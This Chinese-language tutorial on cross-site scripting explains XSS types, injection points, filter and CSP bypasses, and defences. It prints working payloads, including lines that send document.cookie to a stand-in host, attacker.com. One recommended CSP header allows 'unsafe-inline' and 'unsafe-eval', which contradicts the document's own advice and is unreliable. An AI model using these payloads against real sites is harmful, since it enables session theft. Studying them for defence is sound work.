对于XSS跨站脚本攻击的学习
字数 1921 2025-08-24 07:48:09
XSS跨站脚本攻击全面解析与防御指南
1. XSS基本概念
跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。
2. XSS攻击原理
XSS攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。攻击者通常会将恶意脚本嵌入到Web页面中的某个位置(如输入框、评论框、搜索框等),然后诱使用户访问这个被注入了恶意脚本的页面。
3. XSS分类
3.1 存储型XSS(持久型)
- 特点:恶意代码存储在服务器中(如数据库)
- 攻击流程:攻击者提交恶意代码 → 存储到服务器 → 用户访问页面时触发执行
- 危险程度:高,容易造成蠕虫传播、Cookie盗窃
- 常见场景:评论系统、用户资料、文章内容等
<!-- 存储型XSS示例 -->
<script>alert('hack')</script>
3.2 反射型XSS(非持久型)
- 特点:需要用户点击特定链接才能触发
- 攻击流程:攻击者构造恶意URL → 用户点击 → 服务器返回包含恶意脚本的页面 → 脚本执行
- 常见场景:搜索功能、错误消息页面
<!-- 反射型XSS示例 -->
http://example.com/search?q=<script>alert(1)</script>
3.3 DOM型XSS
- 特点:不经过后端处理,完全在客户端发生
- 攻击流程:恶意代码通过URL参数控制DOM操作 → 触发XSS
- 常见场景:基于前端JavaScript处理URL参数的页面
<!-- DOM型XSS示例 -->
<script>
var query = window.location.search.substring(1);
var name = query.split("=")[1];
document.write("<p>Hello, " + name + "!</p>");
</script>
3.4 JSONP XSS(特殊反射型)
- 特点:利用JSONP跨域特性绕过同源策略
- 攻击流程:构造恶意callback参数 → 服务器返回包含恶意函数的响应 → 执行攻击代码
// 正常响应
callback({"name":"John","age":30});
// 恶意URL
http://example.com/api?callback=attackerFunction
// 攻击者定义的函数
function attackerFunction(data) {
document.cookie = "sessionID=" + data.name;
}
4. XSS攻击注入点
-
HTML注释内容中
<!-- <script>alert('XSS')</script> --> -
HTML标签属性值中
-
HTML标签属性名中
<input name="><script>alert(1)</script>"> -
HTML标签名中
alert(1)</script>> -
script/img/svg标签中
<script>alert(1)</script> <svg onload=alert(1)> -
CSS样式中
<div style="background-image:url('javascript:alert(1)')"> -
HTTP响应头中(CRLF注入)
?key=%0d%0a%0d%0a
5. XSS绕过技术
5.1 关键词绕过
-
大小写绕过
<sCriPt>alert(1)</sCriPt> -
拼接绕过
-
函数替换
5.2 编码绕过
-
HTML实体编码
<a href=javascript:alert(1)>click</a> -
URL编码
<a href=javascript:%61%6c%65%72%74%28%31%29>click</a>
5.3 特殊技巧绕过
-
空格绕过
-
括号绕过
<script>alert`1`</script> -
分号绕过
<script>{onerror=alert}throw 1</script> -
长度限制绕过(拆分法)
<script>a='document.write("'</script> <script>a=a+'<script>alert(1)'</script> <script>a=a+'")'</script> <script>eval(a)</script>
6. CSP绕过技术
6.1 CSP基本概念
内容安全策略(Content Security Policy)是一种安全机制,用于保护网站免受XSS攻击。通过CSP,管理员可以指定哪些资源可以加载到页面中。
6.2 常见CSP策略指令
default-src: 默认资源加载策略script-src: 限制JavaScript来源style-src: 限制CSS来源img-src: 限制图片来源connect-src: 限制AJAX/WebSocket来源font-src: 限制字体来源object-src: 限制插件来源frame-src: 限制iframe来源report-uri: 指定违规报告URL
6.3 CSP绕过技术
-
iframe标签绕过
var iframe = document.createElement('iframe'); iframe.src="./vulnerable.php"; document.body.appendChild(iframe); -
location跳转绕过
<script>window.location.href='http://attacker.com/'+document.cookie;</script> -
link标签绕过
<link rel="prefetch" href="//attacker.com/?cookie"> -
低版本CDN库绕过
<script src="https://cdn.example.com/angular.js/1.0.8/angular.min.js"></script> <div ng-app>{{constructor.constructor('alert(1)')()}}</div> -
meta标签跳转
<meta http-equiv="refresh" content="1;url=http://attacker.com/?cookie"> -
静态资源绕过
<script src="https://trusted.com/user-controlled.js"></script> -
JSONP端点绕过
<script src="https://trusted.com/api?callback=alert(1)//"></script> -
base-uri绕过
<base href="//attacker.com/"> <script src="malicious.js"></script> -
不完整script标签绕过nonce
<script src=data:text/plain,alert(1) -
外域资源绕过
alert(1)"> -
PDF XSS绕过
<embed src="malicious.pdf"></embed> -
SVG矢量图绕过
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
7. 防御措施
-
输入过滤与验证
- 对用户输入进行严格过滤
- 使用白名单而非黑名单
- 上下文相关的编码输出
-
输出编码
- HTML实体编码 (
& -> &,< -> <) - JavaScript编码 (
\x3cscript\x3e) - URL编码
- HTML实体编码 (
-
设置安全HTTP头
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff -
使用现代框架的安全特性
- React的JSX自动转义
- Angular的DomSanitizer
- Vue的v-html指令限制
-
Cookie安全设置
Set-Cookie: sessionid=xxxx; HttpOnly; Secure; SameSite=Strict -
内容安全策略(CSP)最佳实践
- 禁用内联脚本 (
'unsafe-inline') - 禁用eval (
'unsafe-eval') - 限制外部资源加载
- 启用report-uri监控
- 禁用内联脚本 (
8. 测试与验证
-
手动测试payload
<script>alert(document.domain)</script> -
自动化扫描工具
- OWASP ZAP
- Burp Suite
- XSS Hunter
-
CSP验证工具
- CSP Evaluator (https://csp-evaluator.withgoogle.com)
- Report-URI (https://report-uri.com)
-
浏览器安全测试
- Chrome DevTools安全面板
- Firefox安全控制台
通过全面理解XSS攻击原理、注入方式、绕过技术和防御措施,开发人员和安全工程师可以更有效地保护Web应用免受XSS攻击威胁。